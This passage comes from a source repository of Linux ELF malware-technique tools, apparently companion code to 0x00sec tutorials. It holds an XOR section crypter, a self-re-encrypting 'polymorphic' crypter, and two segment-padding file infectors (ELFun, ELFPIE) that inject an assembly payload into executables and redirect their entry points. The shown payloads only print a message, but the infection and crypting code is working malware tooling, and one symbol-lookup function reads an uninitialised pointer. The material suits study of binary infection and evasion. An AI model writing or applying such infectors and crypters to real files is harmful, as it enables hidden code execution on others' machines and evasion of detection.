{perror(s);exit(1);} 39 | 40 | /* Helper functions */ 41 | static int 42 | get_file_size (int fd) 43 | { 44 | struct stat _info; 45 | 46 | fstat (fd, &_info); 47 | 48 | return _info.st_size; 49 | } 50 | 51 | Elf64_Shdr * 52 | elfi_find_section (void *data, char *name) 53 | { 54 | char *sname; 55 | int i; 56 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data; 57 | Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff); 58 | Elf64_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx]; 59 | const char *const sh_strtab_p = data + sh_strtab->sh_offset; 60 | 61 | printf ("+ %d section in file. Looking for section '%s'\n", 62 | elf_hdr->e_shnum, name); 63 | 64 | for (i = 0; i < elf_hdr->e_shnum; i++) 65 | { 66 | sname = (char*) (sh_strtab_p + shdr[i].sh_name); 67 | if (!strcmp (sname, name)) return &shdr[i]; 68 | } 69 | 70 | return NULL; 71 | } 72 | 73 | void 74 | xor_block (unsigned char *data, int len) 75 | { 76 | int i; 77 | for (i = 0; i < len; data[i] ^= key[i & KEY_MASK], i++); 78 | } 79 | 80 | void 81 | encode (char *f) 82 | { 83 | int fd, len; 84 | unsigned char *p; 85 | Elf64_Shdr *s; 86 | 87 | printf ("+ Encoding\n"); 88 | if ((fd = open (f, O_RDWR, 0)) < 0) DIE ("open"); 89 | len = (get_file_size (fd)); 90 | if ((p = mmap (0, len, 91 | PROT_READ | PROT_WRITE, 92 | MAP_SHARED, fd, 0)) == MAP_FAILED) DIE ("mmap"); 93 | 94 | if ((s = elfi_find_section (p, ".secure")) == NULL) 95 | { 96 | fprintf (stderr, "- No secure section found... Done\n"); 97 | close (fd); 98 | exit (1); 99 | } 100 | 101 | xor_block (p + s->sh_offset, s->sh_size); 102 | 103 | /* Store Offset and size */ 104 | *((int*)(p + 0x09)) = s->sh_offset; 105 | *((short*)(p + 0x0d)) = s->sh_size; 106 | printf ("+ Offsets: 0x%x, 0x%x\n", 107 | (unsigned int)s->sh_offset, (unsigned int)s->sh_size); 108 | close (fd); 109 | 110 | return; 111 | } 112 | 113 | 114 | int 115 | main (int argc, char *argv[]) 116 | { 117 | if (argc != 2) {fprintf (stderr,"Invalid Number of Params\n");exit(1);} 118 | 119 | encode (argv[1]); 120 | return 0; 121 | } 122 | 123 | -------------------------------------------------------------------------------- /crypter/polycrypt.c: -------------------------------------------------------------------------------- 1 | /* 2 | ELF PolyCrypter 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #define SECTION ".txet" 31 | #define CRYPT_ME __attribute__((section(SECTION))) 32 | 33 | #define KEY_SIZE 8 34 | #define KEY_MASK 0x7 35 | 36 | /* All ceros gets optimised out, apparently */ 37 | static u_char key[KEY_SIZE + 1] ="\1\1\1\1\1\1\1\1"; 38 | 39 | 40 | #define DIE(s) {perror(s);exit(1);} 41 | #define DIE1(s) {fprintf(stderr, s);exit(1);} 42 | 43 | #define DEFAULT_EP ((unsigned char*)0x400000) 44 | 45 | 46 | /* Data structure representing the crypter state */ 47 | typedef struct crypter_t 48 | { 49 | /* Secured section in memory */ 50 | int p; /* Segment Offset */ 51 | int len; /* Segment Lenght */ 52 | /* Binary file on disk */ 53 | char *fname; 54 | void *code; 55 | int code_len; 56 | } CRYPTER; 57 | 58 | 59 | /* Secured Code */ 60 | /* ----------------------------------------------------------- */ 61 | CRYPT_ME 62 | int check (void) 63 | { 64 | char buffer[1024]; 65 | int i; 66 | 67 | setvbuf(stdout, NULL, _IONBF, 0); 68 | 69 | printf ("PolyCrypt password checker v 0.1\n"); 70 | printf ("$ "); 71 | fgets (buffer, 1024, stdin); 72 | 73 | printf ("Checking Password %s", buffer); 74 | printf (" Please wait "); 75 | for (i = 0; i < 20; i++) 76 | { 77 | putchar ('.'); 78 | sleep (1); 79 | } 80 | 81 | /* Actually we are no checking any thing. This is just a test 82 | * so we return a typical error message :)*/ 83 | printf ("\nCommunications Error. Please try again later :P\n"); 84 | return 0; 85 | } 86 | /* ----------------------------------------------------------- */ 87 | 88 | 89 | /* Locates a Section in an ELF file and returns 90 | * the section header 91 | */ 92 | Elf64_Shdr * 93 | elfi_find_section (void *data, char *name) 94 | { 95 | char *sname; 96 | int i; 97 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data; 98 | Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff); 99 | Elf64_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx]; 100 | const char *const sh_strtab_p = data + sh_strtab->sh_offset; 101 | 102 | for (i = 0; i < elf_hdr->e_shnum; i++) 103 | { 104 | sname = (char*) (sh_strtab_p + shdr[i].sh_name); 105 | if (!strcmp (sname, name)) return &shdr[i]; 106 | } 107 | 108 | return NULL; 109 | } 110 | 111 | /* Get the size of the file associated to the file descriptor fd */ 112 | static int 113 | get_file_size (int fd) 114 | { 115 | struct stat _info; 116 | 117 | fstat (fd, &_info); 118 | 119 | return _info.st_size; 120 | } 121 | 122 | /* Basic hex dump function... for debugging */ 123 | #ifdef DEBUG 124 | void 125 | dump_mem (u_char *p, int size) 126 | { 127 | int i; 128 | 129 | for (i = 0; i < size; i++) 130 | printf ("%02x%c", p[i], ((i+1) % 16 == 0) ? '\n' : ' '); 131 | 132 | printf ("\n"); 133 | } 134 | #endif 135 | 136 | /* This functions loads a binary file from disk and 137 | * creates an associated CRYPTER structure 138 | */ 139 | 140 | CRYPTER* 141 | load (char *f) 142 | { 143 | int fd; 144 | CRYPTER *c; 145 | 146 | if ((c = malloc (sizeof(CRYPTER))) == NULL) DIE1 ("malloc:"); 147 | 148 | c->fname = strdup (f); 149 | 150 | /* Read the code in memory */ 151 | if ((fd = open (f, O_RDONLY, 0)) < 0) DIE ("open"); 152 | c->code_len = (get_file_size (fd)); 153 | c->code = malloc (c->code_len); 154 | read (fd, c->code, c->code_len); 155 | 156 | close (fd); 157 | 158 | return c; 159 | } 160 | 161 | /* Dump the binary file associated to a crypter in disk */ 162 | void 163 | save (CRYPTER *c) 164 | { 165 | int fd; 166 | 167 | /* Delete the file so we can write a modified image */ 168 | if ((unlink (c->fname)) < 0) DIE ("unlink:"); 169 | 170 | if ((write ((fd = open (c->fname, O_CREAT | O_TRUNC | O_RDWR,S_IRWXU)), 171 | c->code, c->code_len)) < 0) DIE ("write:"); 172 | 173 | close (fd); 174 | 175 | return; 176 | } 177 | 178 | /* Function to xor encode a memory block 179 | * The key is decreased in one unit so key \1\1\1\1\1\1\1\1 is the 180 | * null key and it does not get removed from the data segment by the 181 | * compiler... At least this is what it seesm to happen. 182 | */ 183 | void 184 | xor_block (unsigned char *data, int len) 185 | { 186 | int i; 187 | 188 | for (i = 0; i < len; data[i] ^= (key[i & KEY_MASK] - 1), i++); 189 | } 190 | 191 | 192 | /* Generates a random key */ 193 | void 194 | gen_key (u_char *p, int size) 195 | { 196 | int i; 197 | 198 | for (i = 0; i < size; i++) p[i] = key[i] = (rand() % 255); 199 | } 200 | 201 | 202 | /* This function decodes the secure part of the binary, in memory and 203 | * reencodes the disk image stored by the CRYPTER struct in order to save 204 | * a new re-encoded verson of the application. 205 | */ 206 | int 207 | change (CRYPTER *c) 208 | { 209 | Elf64_Shdr *s; 210 | int key_off; 211 | 212 | /* Find data section to get the current key */ 213 | /* Actually we need this to modifiy the image file */ 214 | if ((s = elfi_find_section (c->code, ".data")) == NULL) 215 | DIE1 (".data not found\n"); 216 | 217 | key_off = s->sh_offset + 0x10; /* XXX: Figure out where the 0x10 comes from */ 218 | 219 | /* Find the crypted code */ 220 | if ((s = elfi_find_section (c->code, SECTION)) == NULL) 221 | DIE1 ("secured section not found"); 222 | 223 | c->p = s->sh_offset; 224 | c->len = s->sh_size; 225 | 226 | /* Change Permissions of section SECTION to decrypt code */ 227 | unsigned char *ptr = DEFAULT_EP + c->p; 228 | unsigned char *ptr1 = DEFAULT_EP + c->p + c->len; 229 | size_t pagesize = sysconf(_SC_PAGESIZE); 230 | uintptr_t pagestart = (uintptr_t)ptr & -pagesize; 231 | int psize = (ptr1 - (unsigned char*)pagestart); 232 | 233 | /* Make the pages writable...*/ 234 | if (mprotect ((void*)pagestart, psize, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) 235 | perror ("mprotect:"); 236 | 237 | /* Decode memory and file */ 238 | xor_block (DEFAULT_EP + c->p, c->len); 239 | xor_block (c->code + c->p, c->len); 240 | 241 | /* Reset permissions */ 242 | if (mprotect ((void*)pagestart, psize, PROT_READ | PROT_EXEC) < 0) 243 | perror ("mprotect:"); 244 | 245 | /* Update key and reencode file */ 246 | gen_key ((u_char*)c->code + key_off, KEY_SIZE + 1); 247 | xor_block (c->code + c->p, c->len); 248 | 249 | /* Dump the new file to disk. We are ready for next execution */ 250 | save (c); 251 | 252 | return 0; 253 | } 254 | 255 | 256 | 257 | int 258 | main (int argc, char *argv[]) 259 | { 260 | CRYPTER *crypter; 261 | 262 | srand (time(NULL)); 263 | 264 | crypter = load (argv[0]); 265 | change (crypter); 266 | 267 | check (); 268 | 269 | return 0; 270 | } 271 | -------------------------------------------------------------------------------- /crypter/prog.c: -------------------------------------------------------------------------------- 1 | /* 2 | Simple Linux Crypter 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | /************************************************************* 20 | Read the post at 0x00sec.org 21 | https://0x00sec.org/t/a-simple-linux-crypter/537 22 | **********************************************************************/ 23 | 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | #include 34 | 35 | #define KEY_MASK 0x7 36 | static char key[8] ="ABCDEFGH"; 37 | 38 | #define DIE(s) {perror(s);exit(1);} 39 | #define DEFAULT_EP ((unsigned char*)0x400000) 40 | 41 | #define CRYPT_ME __attribute__((section(".secure"))) 42 | 43 | void 44 | xor_block (unsigned char *data, int len) 45 | { 46 | int i; 47 | 48 | for (i = 0; i < len; data[i] ^= key[i & KEY_MASK], i++); 49 | } 50 | 51 | 52 | CRYPT_ME int 53 | secure_main (int argc, char *argv[]) 54 | { 55 | printf ("This was crypted!\n"); 56 | getchar (); 57 | 58 | return 0; 59 | } 60 | 61 | void 62 | uncrypt () 63 | { 64 | int p = *((int *)(DEFAULT_EP + 0x09)); 65 | int len = *((short *)(DEFAULT_EP + 0xd)); 66 | 67 | /* Change Permissions */ 68 | unsigned char *ptr = DEFAULT_EP + p; 69 | unsigned char *ptr1 = DEFAULT_EP + p + len; 70 | size_t pagesize = sysconf (_SC_PAGESIZE); 71 | uintptr_t pagestart = (uintptr_t)ptr & -pagesize; 72 | int psize = (ptr1 - (unsigned char*)pagestart); 73 | 74 | /* Make the pages writable...*/ 75 | if (mprotect ((void*)pagestart, psize, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) 76 | DIE ("mprotect:"); 77 | 78 | xor_block (DEFAULT_EP + p, len); 79 | 80 | if (mprotect ((void*)pagestart, psize, PROT_READ | PROT_EXEC) < 0) 81 | DIE ("mprotect:"); 82 | 83 | printf ("+ Ready to run!\n"); 84 | } 85 | 86 | int 87 | main (int argc, char *argv[]) 88 | { 89 | uncrypt (); 90 | secure_main (argc, argv); 91 | 92 | return 0; 93 | } 94 | -------------------------------------------------------------------------------- /elfpie/Makefile: -------------------------------------------------------------------------------- 1 | all:elfpie_infect plpie 2 | 3 | elfpie_infect:elfpie_infect.c 4 | ${CC} -o $@ $< 5 | 6 | plpie:plpie.asm 7 | nasm -f elf64 -o plpie.o plpie.asm 8 | ld -pie -o plpie plpie.o 9 | 10 | .PHONY: 11 | clean: 12 | rm elfpie_infect plpie.o plpie 13 | -------------------------------------------------------------------------------- /elfpie/elfpie_infect.c: -------------------------------------------------------------------------------- 1 | /* 2 | ELFPIE 3 | Copyright (c) 2019 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | /************************************************************* 20 | Read the post at 0x00sec.org... Maybe Some day :) 21 | 22 | **********************************************************************/ 23 | 24 | /* Segment padding infection */ 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #include 31 | #include 32 | #include 33 | 34 | #include 35 | #include 36 | 37 | /* Helper functions */ 38 | static int 39 | get_file_size (int fd) 40 | { 41 | struct stat _info; 42 | 43 | fstat (fd, &_info); 44 | 45 | return _info.st_size; 46 | } 47 | 48 | /* Open a file and map it in memory for easy update */ 49 | int 50 | elfi_open_and_map (char *fname, void **data, int *len) 51 | { 52 | int size; 53 | int fd; 54 | 55 | if ((fd = open (fname, O_APPEND | O_RDWR, 0)) < 0) 56 | { 57 | perror ("open:"); 58 | exit (1); 59 | } 60 | 61 | size = get_file_size (fd); 62 | if ((*data = mmap (0, size, PROT_READ| PROT_WRITE| PROT_EXEC, 63 | MAP_SHARED, fd, 0)) == MAP_FAILED) 64 | { 65 | perror ("mmap:"); 66 | exit (1); 67 | } 68 | #ifdef DEBUG 69 | printf ("+ File mapped (%d bytes ) at %p\n", size, data); 70 | #endif 71 | 72 | *len = size; 73 | return fd; 74 | } 75 | 76 | 77 | #ifdef DEBUG 78 | /* Debug function to dump registers */ 79 | void 80 | elfi_dump_segments (void *d) 81 | { 82 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) d; 83 | Elf64_Phdr* elf_seg; 84 | int n_seg = elf_hdr->e_phnum; 85 | int i; 86 | 87 | elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr 88 | + (unsigned int) elf_hdr->e_phoff); 89 | for (i = 0; i < n_seg; i++) 90 | { 91 | printf (" [INFO] Segment %d: Type: %8x (%x) Offset: %8x " 92 | "FSize:%8x MSize:%8x\n", 93 | i, elf_seg->p_type, elf_seg->p_flags, 94 | (unsigned int)elf_seg->p_offset, 95 | (unsigned int)elf_seg->p_filesz, 96 | (unsigned int)elf_seg->p_memsz); 97 | 98 | elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg 99 | + (unsigned int) elf_hdr->e_phentsize); 100 | } 101 | 102 | } 103 | #endif 104 | 105 | 106 | Elf64_Phdr* 107 | elfi_find_gap (void *d, int fsize, int *p, int *len) 108 | { 109 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) d; 110 | Elf64_Phdr* elf_seg, *text_seg; 111 | int n_seg = elf_hdr->e_phnum; 112 | int i; 113 | int text_end, gap=fsize; 114 | 115 | elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr 116 | + (unsigned int) elf_hdr->e_phoff); 117 | 118 | for (i = 0; i < n_seg; i++) 119 | { 120 | if (elf_seg->p_type == PT_LOAD && elf_seg->p_flags & 0x011) 121 | { 122 | #ifdef DEBUG 123 | printf ("+ Found .text segment (#%d)\n", i); 124 | #endif 125 | text_seg = elf_seg; 126 | text_end = elf_seg->p_offset + elf_seg->p_filesz; 127 | } 128 | else 129 | { 130 | if (elf_seg->p_type == PT_LOAD && 131 | (elf_seg->p_offset - text_end) < gap) 132 | { 133 | #ifdef DEBUG 134 | printf (" * Found LOAD segment (#%d) close to .text (offset: 0x%x)\n", 135 | i, (unsigned int)elf_seg->p_offset); 136 | #endif 137 | gap = elf_seg->p_offset - text_end; 138 | } 139 | } 140 | elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg 141 | + (unsigned int) elf_hdr->e_phentsize); 142 | } 143 | 144 | *p = text_end; 145 | *len = gap; 146 | 147 | printf ("+ .text segment gap at offset 0x%x(0x%x bytes available)\n", text_end, gap); 148 | 149 | return text_seg; 150 | } 151 | 152 | 153 | Elf64_Shdr * 154 | elfi_find_section (void *data, char *name) 155 | { 156 | char *sname; 157 | int i; 158 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data; 159 | Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff); 160 | Elf64_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx]; 161 | const char *const sh_strtab_p = data + sh_strtab->sh_offset; 162 | 163 | #ifdef DEBUG 164 | printf ("+ %d section in file. Looking for section '%s'\n", 165 | elf_hdr->e_shnum, name); 166 | #endif 167 | 168 | for (i = 0; i < elf_hdr->e_shnum; i++) 169 | { 170 | sname = (char*) (sh_strtab_p + shdr[i].sh_name); 171 | if (!strcmp (sname, name)) return &shdr[i]; 172 | } 173 | 174 | return NULL; 175 | } 176 | 177 | 178 | int 179 | elfi_find_symbol (void *data, char*name) 180 | { 181 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data; 182 | Elf64_Shdr* s; 183 | Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff); 184 | char *sh_strtab_p = (char *)(data + shdr[s->sh_link].sh_offset); 185 | char *sh_symtab_p = data + s->sh_offset; 186 | Elf64_Sym *symbol; 187 | int n_entries, i; 188 | 189 | if ((s = elfi_find_section (data, ".symtab")) == NULL) 190 | { 191 | fprintf (stderr, "Cannot find symtable\n"); 192 | return -1; 193 | } 194 | 195 | n_entries = s->sh_size / s->sh_entsize; 196 | shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff); 197 | sh_strtab_p = (char *)(data + shdr[s->sh_link].sh_offset); 198 | sh_symtab_p = data + s->sh_offset; 199 | 200 | for (i = 0; i < n_entries; i++) 201 | { 202 | symbol = &((Elf64_Sym *)sh_symtab_p)[i]; 203 | if (symbol->st_name) 204 | { 205 | if (!strcmp (sh_strtab_p + symbol->st_name, name)) 206 | return symbol->st_value; 207 | } 208 | } 209 | 210 | return -1; 211 | } 212 | 213 | 214 | int 215 | main (int argc, char *argv[]) 216 | { 217 | void *d, *d1; 218 | int target_fd, payload_fd; 219 | int fsize, fsize1; 220 | Elf64_Ehdr* elf_hdr; 221 | Elf64_Phdr *t_text_seg; 222 | Elf64_Shdr *p_text_sec; 223 | Elf64_Addr base, ep, nep, _label; 224 | int p, len; 225 | 226 | printf ("Segment Padding Infector for 0x00sec\nPIE-Edition\nby pico\n\n"); 227 | if (argc != 3) 228 | { 229 | fprintf (stderr, "Usage:\n %s elf_file payload\n", argv[0]); 230 | exit (1); 231 | } 232 | 233 | /* Open and map target ELF */ 234 | target_fd = elfi_open_and_map (argv[1], &d, &fsize); 235 | 236 | /* Get Application Entry point */ 237 | elf_hdr = (Elf64_Ehdr *) d; 238 | ep = elf_hdr->e_entry; 239 | printf ("+ Target Entry point: %p\n", (void*) ep); 240 | if (elf_hdr->e_type != ET_DYN) 241 | { 242 | printf ("+ Target is not a PIE binary.... Aborting\n"); 243 | goto clean_and_exit1; 244 | } 245 | 246 | #ifdef DEBUG 247 | elfi_dump_segments (d); 248 | #endif 249 | 250 | /* Find executable segment and obtain offset and gap size */ 251 | t_text_seg = elfi_find_gap (d, fsize, &p, &len); 252 | base = t_text_seg->p_vaddr; 253 | 254 | /* Process payload */ 255 | payload_fd = elfi_open_and_map (argv[2], &d1, &fsize1); 256 | p_text_sec = elfi_find_section (d1, ".text"); 257 | 258 | /* XXX: Looks like we do not really have to patch the segment sizes */ 259 | /* 260 | t_text_seg->p_filesz += p_text_sec->sh_size; 261 | t_text_seg->p_memsz += p_text_sec->sh_size; 262 | */ 263 | 264 | printf ("+ Payload .text section found at %lx (%lx bytes)\n", 265 | p_text_sec->sh_offset, p_text_sec->sh_size); 266 | 267 | if (p_text_sec->sh_size > len) 268 | { 269 | fprintf (stderr, "- Payload to big, cannot infect file.\n"); 270 | goto clean_and_exit2; 271 | } 272 | 273 | /* before copying... Let's check if the file has already been infected */ 274 | if (!memcmp (d + p, d1 + p_text_sec->sh_offset, 24)) 275 | { 276 | fprintf (stderr, "!! This file has already been infected... \n"); 277 | goto clean_and_exit2; 278 | } 279 | 280 | /* Calculate offset to original entry point*/ 281 | nep = ((Elf64_Ehdr*) d1)->e_entry; 282 | 283 | printf ("+ Payload Entry point : %lx\n", nep); 284 | 285 | _label = elfi_find_symbol (d1, "_label"); 286 | printf ("+ _label symbol found at : 0x%lx\n", _label); 287 | 288 | _label += (1 - nep); 289 | printf ("+ Payload jump offset : %lx\n", _label); 290 | printf ("+ Final jump offset : %lx\n", _label + p); 291 | 292 | nep = - (_label + p - ep) - 4; 293 | printf ("+ Adjust offset to patch : %x\n", (uint32_t)nep); 294 | 295 | /* Copy payload in the segment padding area */ 296 | memmove (d + p, d1 + p_text_sec->sh_offset, p_text_sec->sh_size); 297 | 298 | /* Patch return address */ 299 | memmove (d + p + _label, &nep, sizeof(uint32_t)); 300 | 301 | /* Patch entry point */ 302 | elf_hdr->e_entry = (Elf64_Addr) (base + p); 303 | 304 | /* Close files and actually update target file */ 305 | clean_and_exit2: 306 | close (payload_fd); 307 | clean_and_exit1: 308 | 309 | close (target_fd); 310 | 311 | return 0; 312 | } 313 | 314 | 315 | /* 316 | Cool ASCII-Art 317 | 318 | 0x0000 +-------------+ +-------------+ 319 | | Text | | Text | 320 | | | | | 321 | ep | entry_point | | entry_point |<---+ 322 | | | | | | RIP points to next instruction --+ 323 | p +-------------+ +-------------+ | | 324 | | GAP | | Payload | | - ((_label+1-nep) + p - ep) + 4 <-+ 325 | _label | | | _label: | | ^ 326 | | | | jmp ep |----+ +--- offset calculated from 327 | gap+size +-------------+ + ------------+ payload file 328 | | Data | | Data | 329 | +-------------+ +-------------+ 330 | | Other | | Other | 331 | \/\/\/\/\/\/\/ \/\/\/\/\/\/\/ 332 | 333 | */ 334 | -------------------------------------------------------------------------------- /elfpie/plpie.asm: -------------------------------------------------------------------------------- 1 | ; ELFPIE 2 | ; Copyright (c) 2019 picoFlamingo 3 | ; 4 | ;This program is free software: you can redistribute it and/or modify 5 | ;it under the terms of the GNU General Public License as published by 6 | ;the Free Software Foundation, either version 3 of the License, or 7 | ;(at your option) any later version. 8 | ; 9 | ;This program is distributed in the hope that it will be useful, 10 | ;but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | ;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | ;GNU General Public License for more details. 13 | ; 14 | ;You should have received a copy of the GNU General Public License 15 | ;along with this program. If not, see . 16 | 17 | 18 | section .text 19 | global _start 20 | global _label 21 | 22 | _start: 23 | ;; save cpu state 24 | push rax 25 | push rdi 26 | push rsi 27 | push rdx 28 | 29 | mov rax,1 ; [1] - sys_write 30 | mov rdi,1 ; 0 = stdin / 1 = stdout / 2 = stderr 31 | lea rsi,[rel msg] ; pointer(mem address) to msg (*char[]) 32 | mov rdx, msg_end - msg ; msg size 33 | syscall ; calls the function stored in rax 34 | 35 | 36 | ;; restore cpu state 37 | pop rdx 38 | pop rsi 39 | pop rdi 40 | pop rax 41 | 42 | _label: 43 | ;; mov rax, 0x11111111 44 | ;; jmp rax 45 | jmp 0x1000 46 | 47 | align 8 48 | msg db 'This file has been infected for 0x00SEC',0x0a,0 49 | msg_end db 0x0 50 | -------------------------------------------------------------------------------- /elfun/Makefile: -------------------------------------------------------------------------------- 1 | all:elf_infect payload 2 | 3 | elf_infect:elf_infect.c 4 | ${CC} -o $@ $< 5 | 6 | payload:payload.asm 7 | nasm -f elf64 -o payload.o payload.asm 8 | ld -o payload payload.o 9 | 10 | .PHONY: 11 | clean: 12 | rm elf_infect payload.o payload 13 | -------------------------------------------------------------------------------- /elfun/elf_infect.c: -------------------------------------------------------------------------------- 1 | /* 2 | ELFun 3 | Copyright (c) 2016 picoFlamingo 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, either version 3 of the License, or 8 | (at your option) any later version. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program. If not, see . 17 | */ 18 | 19 | /************************************************************* 20 | Read the post at 0x00sec.org 21 | https://0x00sec.org/t/elfun-file-injector/410 22 | **********************************************************************/ 23 | 24 | /* Segment padding infection */ 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | 31 | #include 32 | #include 33 | #include 34 | 35 | #include 36 | #include 37 | 38 | /* Helper functions */ 39 | static int 40 | get_file_size (int fd) 41 | { 42 | struct stat _info; 43 | 44 | fstat (fd, &_info); 45 | 46 | return _info.st_size; 47 | } 48 | 49 | /* Open a file and map it in memory for easy update */ 50 | int 51 | elfi_open_and_map (char *fname, void **data, int *len) 52 | { 53 | int size; 54 | int fd; 55 | 56 | if ((fd = open (fname, O_APPEND | O_RDWR, 0)) < 0) 57 | { 58 | perror ("open:"); 59 | exit (1); 60 | } 61 | 62 | size = get_file_size (fd); 63 | if ((*data = mmap (0, size, PROT_READ| PROT_WRITE| PROT_EXEC, 64 | MAP_SHARED, fd, 0)) == MAP_FAILED) 65 | { 66 | perror ("mmap:"); 67 | exit (1); 68 | } 69 | 70 | printf ("+ File mapped (%d bytes ) at %p\n", size, data); 71 | *len = size; 72 | return fd; 73 | } 74 | 75 | 76 | #ifdef DEBUG 77 | /* Debug function to dump registers */ 78 | void 79 | elfi_dump_segments (void *d) 80 | { 81 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) d; 82 | Elf64_Phdr* elf_seg; 83 | int n_seg = elf_hdr->e_phnum; 84 | int i; 85 | 86 | elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr 87 | + (unsigned int) elf_hdr->e_phoff); 88 | for (i = 0; i < n_seg; i++) 89 | { 90 | printf (" [INFO] Segment %d: Type: %8x (%x) Offset: %8x " 91 | "FSize:%8x MSize:%8x\n", 92 | i, elf_seg->p_type, elf_seg->p_flags, 93 | (unsigned int)elf_seg->p_offset, 94 | (unsigned int)elf_seg->p_filesz, 95 | (unsigned int)elf_seg->p_memsz); 96 | 97 | elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg 98 | + (unsigned int) elf_hdr->e_phentsize); 99 | } 100 | 101 | } 102 | #endif 103 | 104 | 105 | Elf64_Phdr* 106 | elfi_find_gap (void *d, int fsize, int *p, int *len) 107 | { 108 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) d; 109 | Elf64_Phdr* elf_seg, *text_seg; 110 | int n_seg = elf_hdr->e_phnum; 111 | int i; 112 | int text_end, gap=fsize; 113 | 114 | elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr 115 | + (unsigned int) elf_hdr->e_phoff); 116 | 117 | for (i = 0; i < n_seg; i++) 118 | { 119 | if (elf_seg->p_type == PT_LOAD && elf_seg->p_flags & 0x011) 120 | { 121 | printf ("+ Found .text segment (#%d)\n", i); 122 | text_seg = elf_seg; 123 | text_end = elf_seg->p_offset + elf_seg->p_filesz; 124 | } 125 | else 126 | { 127 | if (elf_seg->p_type == PT_LOAD && 128 | (elf_seg->p_offset - text_end) < gap) 129 | { 130 | printf (" * Found LOAD segment (#%d) close to .text (offset: 0x%x)\n", 131 | i, (unsigned int)elf_seg->p_offset); 132 | gap = elf_seg->p_offset - text_end; 133 | } 134 | } 135 | elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg 136 | + (unsigned int) elf_hdr->e_phentsize); 137 | } 138 | 139 | *p = text_end; 140 | *len = gap; 141 | 142 | printf ("+ .text segment gap at offset 0x%x(0x%x bytes available)\n", text_end, gap); 143 | 144 | return text_seg; 145 | } 146 | 147 | 148 | 149 | Elf64_Shdr * 150 | elfi_find_section (void *data, char *name) 151 | { 152 | char *sname; 153 | int i; 154 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data; 155 | Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff); 156 | Elf64_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx]; 157 | const char *const sh_strtab_p = data + sh_strtab->sh_offset; 158 | 159 | printf ("+ %d section in file. Looking for section '%s'\n", 160 | elf_hdr->e_shnum, name); 161 | 162 | 163 | for (i = 0; i < elf_hdr->e_shnum; i++) 164 | { 165 | sname = (char*) (sh_strtab_p + shdr[i].sh_name); 166 | if (!strcmp (sname, name)) return &shdr[i]; 167 | } 168 | 169 | return NULL; 170 | } 171 | 172 | int 173 | elfi_mem_subst (void *m, int len, long pat, long val) 174 | { 175 | unsigned char *p = (unsigned char*)m; 176 | long v; 177 | int i, r; 178 | 179 | for (i = 0; i < len; i++) 180 | { 181 | v = *((long*)(p+i)); 182 | r = v ^pat; 183 